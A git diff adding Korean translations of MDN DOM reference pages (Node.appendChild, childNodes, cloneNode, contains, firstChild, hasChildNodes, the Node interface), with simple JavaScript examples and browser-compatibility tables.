+ <dd>Returns the maximum downlink speed, in megabits per second (Mbps), for the underlying connection technology.</dd>
+ <dt>{{domxref("NetworkInformation.effectiveType")}} {{readonlyinline}}</dt>
+ <dd>Returns the effective type of the connection meaning one of 'slow-2g', '2g', '3g', or '4g'. This value is determined using a combination of recently observed round-trip time and downlink values.</dd>
+ <dt>{{domxref("NetworkInformation.rtt")}} {{readonlyinline}}</dt>
+ <dd>Returns the estimated effective round-trip time of the current connection, rounded to the nearest multiple of 25 milliseconds.</dd>
+ <dt>{{domxref("NetworkInformation.saveData")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the user has set a reduced data usage option on the user agent.</dd>
+ <dt>{{domxref("NetworkInformation.type")}} {{readonlyinline}}</dt>
+ <dd>Returns the type of connection a device is using to communicate with the network. It will be one of the following values:
+ <ul>
+ <li><code>bluetooth</code></li>
+ <li><code>cellular</code></li>
+ <li><code>ethernet</code></li>
+ <li><code>none</code></li>
+ <li><code>wifi</code></li>
+ <li><code>wimax</code></li>
+ <li><code>other</code></li>
+ <li><code>unknown</code></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("NetworkInformation.onchange")}}</dt>
+ <dd>The event that's fired when connection information changes and the {{event("change")}} is fired on this object.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods of its parent, {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Network Information', '#-dfn-networkinformation-dfn-interface', 'NetworkInformation')}}</td>
+ <td>{{Spec2('Network Information')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NetworkInformation")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Online_and_offline_events">Online and offline events</a></li>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/ko/web/api/node/appendchild/index.html b/files/ko/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..991c1f6136
--- /dev/null
+++ b/files/ko/web/api/node/appendchild/index.html
@@ -0,0 +1,125 @@
+---
+title: Node.appendChild()
+slug: Web/API/Node/appendChild
+tags:
+ - 노드 붙이기
+ - 노드 이동
+ - 돔
+translation_of: Web/API/Node/appendChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.appendChild()</strong></code> 메소드는 한 노드를 특정 부모 노드의 자식 노드 리스트 중 마지막 자식으로 붙입니다. 만약 주어진 노드가 이미 문서에 존재하는 노드를 참조하고 있다면 <code>appendChild()</code> 메소드는 노드를 현재 위치에서 새로운 위치로 이동시킵니다. (문서에 존재하는 노드를 다른 곳으로 붙이기 전에 부모 노드로 부터 지워버릴 필요는 없습니다.)</p>
+
+<p>이것은 한 노드가 문서상의 두 지점에 동시에 존재할 수 없다는 것을 의미합니다. 그래서 만약 노드가 이미 부모를 가지고 있다면 우선 삭제되고 새로운 위치로 이동합니다. </p>
+
+<p>{{domxref("Node.cloneNode()")}} 메소드는 노드가 새로운 부모의 밑으로 붙기 전에 노드를 복제합니다.  <code>cloneNode 메소드로 만들어진 복사된 노드들은 자동적으로 문서에 적용되지 않는다는 것에 주의하세요</code>.</p>
+
+<p>이 메소드는 서로 다른 문서로 노드를 이동시키진 못합니다. 만약 노드를  다른 문서로 이동시키고 싶다면 {{domxref("document.importNode()")}} 메소드를 사용하셔야 합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>aChild</em> = <em>element</em>.appendChild(<em>aChild</em>);</pre>
+
+<p>이동한 자식 노드를 반환합니다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">// 새로운 단락 요소를 생성하고 문서에 있는 바디 요소의 끝에 붙입니다.
+var p = document.createElement("p");
+document.body.appendChild(p);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>No change from {{SpecName("DOM3 Core")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>No change from {{SpecName("DOM2 Core")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>No change from {{SpecName("DOM1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/childnodes/index.html b/files/ko/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..b57a8eabc3
--- /dev/null
+++ b/files/ko/web/api/node/childnodes/index.html
@@ -0,0 +1,51 @@
+---
+title: element.childNodes
+slug: Web/API/Node/childNodes
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/Node/childNodes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><b>childNodes</b>는 주어진 요소의 자식 노드 모음(
+ <i>
+ collection</i>
+ )을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92" name=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92">구문과 값</h3>
+<pre class="eval">var <var>ndList</var> = elementNodeReference.childNodes;
+</pre>
+<p><var>ndList</var>는 현재 요소의 자식인 노드 개체의 순서 있는 모음입니다. 요소가 자식이 없으면, <var>ndList</var>는 아무 노드도 포함하지 않습니다.</p>
+<p><var>ndList</var>는 childNodes의 노드 목록을 저장하는 변수입니다. 그 목록은 <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">NodeList</a> 형입니다. childNodes 속성은 읽기 전용입니다.</p>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>// parg는 &lt;p&gt; 요소 개체 참조
+if (parg.hasChildNodes())
+// 그래서, 먼저 개체가 찼는 지(자식 노드가 있는 지) 검사
+ {
+ var children = parg.childNodes;
+ for (var i = 0; i &lt; children.length; i++)
+ {
+ // children[i]로 각 자식에 무언가를 함
+ // 주의: 목록은 유효해(live), 자식 추가나 제거는 목록을 바꿈
+ };
+ };
+</pre>
+<pre>// This는 노드에서 모든 자식을 제거하는 한 방법
+// box는 자식 있는 요소 개체 참조
+while (box.firstChild)
+ {
+ //목록은 유효해서(LIVE) 호출마다 재배열(re-index)함
+ box.removeChild(box.firstChild);
+ };
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>노드 모음의 항목은 문자열이 아니라 개체입니다. 그 노드 개체에서 데이터를 얻으려면, 속성(예컨대 이름을 얻으려면 <code>elementNodeReference.childNodes{{ mediawiki.external(1) }}.nodeName</code> 등)을 써야 합니다.</p>
+<p><code>document</code> 개체는 자식이 둘입니다. Doctype 선언과 <code>HTML</code> 요소.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "pl": "pl/DOM/element.childNodes" } ) }}</p>
diff --git a/files/ko/web/api/node/clonenode/index.html b/files/ko/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..36e4c8e0d5
--- /dev/null
+++ b/files/ko/web/api/node/clonenode/index.html
@@ -0,0 +1,160 @@
+---
+title: Node.cloneNode()
+slug: Web/API/Node/cloneNode
+translation_of: Web/API/Node/cloneNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div><strong><code>Node.cloneNode()</code></strong> 메서드는 이 메서드를 호출한 Node 의 복제된 Node를 반환합니다.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode(<em><var>deep</var></em>);
+</pre>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>복제되어야 할 node.</dd>
+ <dt><em>dupNode</em></dt>
+ <dd><em>복제된 새로운 node.</em></dd>
+ <dt><em>deep {{optional_inline}}</em></dt>
+ <dd><em>해당 node의 children 까지 복제하려면 true, 해당 node 만 복제하려면 false</em></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In the DOM4 specification (as implemented in Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> is an optional argument. If omitted, the method acts as if the value of <code>deep</code> was <strong><code>true</code></strong>, defaulting to using deep cloning as the default behavior. To create a shallow clone, <code>deep</code> must be set to <code>false</code>.</p>
+
+<p>This behavior has been changed in the latest spec, and if omitted, the method will act as if the value of <code>deep</code> was <strong><code>false</code></strong>. Though It's still optional, you should always provide the <code>deep</code> argument both for backward and forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}), the console warned developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var p = document.getElementById("para1");
+var p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p id="not-event-listeners">Cloning a node copies all of its attributes and their values, including intrinsic (in–line) listeners. It does not copy event listeners added using <a href="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> or those assigned to element properties. (e.g. <code>node.onclick = fn</code>) Moreover, for a &lt;canvas&gt; element, the painted image is not copied.</p>
+
+<p>The duplicate node returned by <code>cloneNode()</code> is not part of the document until it is added to another node that is part of the document using {{domxref("Node.appendChild()")}} or a similar method. It also has no parent until it is appended to another node.</p>
+
+<p>If <code>deep</code> is set to <code>false</code>, child nodes are not cloned. Any text that the node contains is not cloned either, as it is contained in one or more child {{domxref("Text")}} nodes.</p>
+
+<p>If <code>deep</code> evaluates to <code>true</code>, the whole subtree (including text that may be in child {{domxref("Text")}} nodes) is copied too. For empty nodes (e.g. {{HTMLElement("img")}} and {{HTMLElement("input")}} elements) it doesn't matter whether <code>deep</code> is set to <code>true</code> or <code>false</code>.</p>
+
+<div class="warning"><strong>Warning:</strong> <code>cloneNode()</code> may lead to duplicate element IDs in a document.</div>
+
+<p>If the original node has an ID and the clone is to be placed in the same document, the ID of the clone should be modified to be unique. Name attributes may need to be modified also, depending on whether duplicate names are expected.</p>
+
+<p>To clone a node for appending to a different document, use {{domxref("Document.importNode()")}} instead.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+ <td>{{Spec2("DOM3 Core")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+ <td>{{Spec2("DOM2 Core")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>deep</code> as an optional parameter</td>
+ <td>
+ <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+ </td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("13.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>
+ <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>deep</code> as an optional parameter</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("13.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Default value for the <code>deep</code> parameter is <code>false</code>.</p>
diff --git a/files/ko/web/api/node/contains/index.html b/files/ko/web/api/node/contains/index.html
new file mode 100644
index 0000000000..982c26ae4c
--- /dev/null
+++ b/files/ko/web/api/node/contains/index.html
@@ -0,0 +1,105 @@
+---
+title: Node.contains()
+slug: Web/API/Node/contains
+translation_of: Web/API/Node/contains
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node.contains()</code></strong> 메소드는 주어진 인자가 node 의 자손인지, 아닌지에 대한 {{jsxref("Boolean")}} 값을 리턴합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">node.contains( otherNode )
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<p>이 함수는 요소가 페이지의 body 안에 있는지 검사합니다.  <code>contains</code> 는 포괄적이므로 node 가 body 자기 자신일 경우에도 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font> 가 반환됩니다. 만약 이걸 원하지 않는 경우에는 node 가 body 자기 자신인지 검사하여  <code>false</code> 를 반환하여 버리면 됩니다.</p>
+
+<pre class="brush:js">function isInPage(node) {
+ return (node === document.body) ? false : document.body.contains(node);
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("9.0")}}</td>
+ <td>5.0<sup>[1]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>3.0<sup>[2]</sup></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("9.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer <a href="https://connect.microsoft.com/IE/feedback/details/780874/node-contains-is-incorrect">only supports <code>contains()</code> for elements</a>.</p>
+
+<p>[2] Safari 2.x <a href="https://books.google.de/books?id=KW9G9rdlStIC&amp;lpg=PA299&amp;ots=4XRWUISZVr&amp;dq=safari+node+contains+professional+javascript&amp;pg=PA299&amp;hl=de#v=onepage&amp;q=safari%20node%20contains%20professional%20javascript&amp;f=false">implemented <code>contains()</code> incorrectly</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.compareDocumentPosition")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/firstchild/index.html b/files/ko/web/api/node/firstchild/index.html
new file mode 100644
index 0000000000..105c335e1c
--- /dev/null
+++ b/files/ko/web/api/node/firstchild/index.html
@@ -0,0 +1,67 @@
+---
+title: element.firstChild
+slug: Web/API/Node/firstChild
+tags:
+ - DOM
+ - Gecko
+translation_of: Web/API/Node/firstChild
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+
+<p>트리에서 노드의 첫 번째 자식이나 <code>null</code>(노드가 자식이 없으면)을 반환합니다.</p>
+
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+
+<pre class="eval"><em>childNode</em> =<em>node</em>.firstChild;
+</pre>
+
+<p><code>childNode</code>는 자식이 있으면 <code>node</code>의 첫 번째 자식 참조이고 없으면 <code>null</code>입니다.</p>
+
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+
+<p>이 예는 <code>firstChild</code>의 쓰임과 공백 노드가 어떻게 이 프로퍼티 사용을 방해하는 지 실제로 보입니다. Gecko DOM에서 공백 처리에 관한 더 많은 정보는 {{ Anch("Notes") }} 절을 보세요.</p>
+
+<pre>&lt;p id="para-01"&gt;
+ &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+ var p01 = document.getElementById('para-01');
+ alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>위에서, alert은 텍스트 노드가 여는 태그 &lt;p&gt;의 끝과 여는 태그 &lt;span&gt; 사이에 공백을 유지하여 삽입되었기 때문에 '#text'를 보입니다. space 하나에서 여럿, return, tab 등 <strong>어떤</strong> 공백이든 #text 노드에 삽입되게 됩니다.</p>
+
+<p>다른 #text 노드는 닫는 태그 &lt;/span&gt;과 닫는 태그 &lt;/p&gt; 사이에 삽입됩니다.</p>
+
+<p>이 공백을 소스에서 제거하면, #text 노드는 삽입되지 않고 span 요소가 paragraph의 첫 번째 자식이 됩니다.</p>
+
+<pre>&lt;p id="para-01"&gt;&lt;span&gt;First span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+ var p01 = document.getElementById('para-01');
+ alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>이제 alert은 'SPAN'을 보입니다.</p>
+
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+
+<p></p><p>Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다.
+ 그러므로 예를 들어 <a href="/ko/docs/Web/API/Node/firstChild" title="트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다."><code>Node.firstChild</code></a>나 <a href="/ko/docs/Web/API/Node/previousSibling" title="Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 childNodes 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다."><code>Node.previousSibling</code></a>을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는
+ 달리 공백 텍스트 노드를 참조할 지도 모릅니다. </p>
+
+ <p>더 많은 정보는 <a class="new" href="/ko/docs/Whitespace_in_the_DOM" rel="nofollow">Whitespace in the DOM</a>과
+ <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>를 보세요.</p><p></p>
+
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-firstChild">DOM Level 1 Core: firstChild</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></p>
+
+<p>{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "pl": "pl/DOM/element.firstChild" } ) }}</p>
diff --git a/files/ko/web/api/node/haschildnodes/index.html b/files/ko/web/api/node/haschildnodes/index.html
new file mode 100644
index 0000000000..eff203c8a8
--- /dev/null
+++ b/files/ko/web/api/node/haschildnodes/index.html
@@ -0,0 +1,42 @@
+---
+title: Node.hasChildNodes()
+slug: Web/API/Node/hasChildNodes
+tags:
+ - API
+ - DOM
+ - Method
+ - Node
+translation_of: Web/API/Node/hasChildNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.hasChildNodes()</strong></code> 메소드는 현재 노드({{domxref("Node")}})에게 자식노드(<a href="/en-US/docs/Web/API/Node.childNodes" title="DOM/Node.childNodes">child nodes</a>)가 있는지를 {{jsxref("Boolean")}} 값으로 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code>node.hasChildNodes()</code></pre>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>아래 예시에서는 "foo"라는 id를 가진 요소를 찾고 "foo" 요소에게 자식노드가 있으면 첫번째 자식노드를 제거해줍니다.</p>
+
+<pre class="brush:js;highlight:[3];">var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+ foo.removeChild( foo.childNodes[0] );
+}</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Node.childNodes")}}</li>
+ <li>{{domxref("Node.hasAttributes")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/index.html b/files/ko/web/api/node/index.html
new file mode 100644
index 0000000000..ed301eff02
--- /dev/null
+++ b/files/ko/web/api/node/index.html
@@ -0,0 +1,263 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+ - DOM
+ - Node
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node</code></strong>는 여러 가지 DOM 타입들이 상속하는 인터페이스이며 그 다양한 타입들을 비슷하게 처리할 수 있게 한다. 예를들어, 똑같은 메소드를 상속하거나 똑같은 방식으로 테스트를 할수있다</p>
+
+<p>다음의 인터페이스들은 모두 <code>Node</code>로부터 메소드와 프라퍼티를 상속한다: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} ({{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("CDATASection")}}이 상속), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
+
+<p>이 인터페이스들은 메소드나 프라퍼티가 적합하지 않은 경우에 null을 반환할 수 있다. 그들은 예외를 발생할 수 있다 - 예를 들어 자식이 있을 수 없는 노드 타입에 자식을 추가할 때 말이다.</p>
+
+<h2 id="프라퍼티_&lt;속성>">프라퍼티 &lt;속성&gt;</h2>
+
+<p><em>부모인 {{domxref("EventTarget")}}으로부터 프라퍼티를 상속한다</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the base URL. The concept of base URL changes from one language to another; in HTML, it corresponds to the protocol, the domain name and the directory structure, that is all until the last <code>'/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{domxref("NodeList")}} object is automatically updated.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element. In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Though recent specifications require <code>localName</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
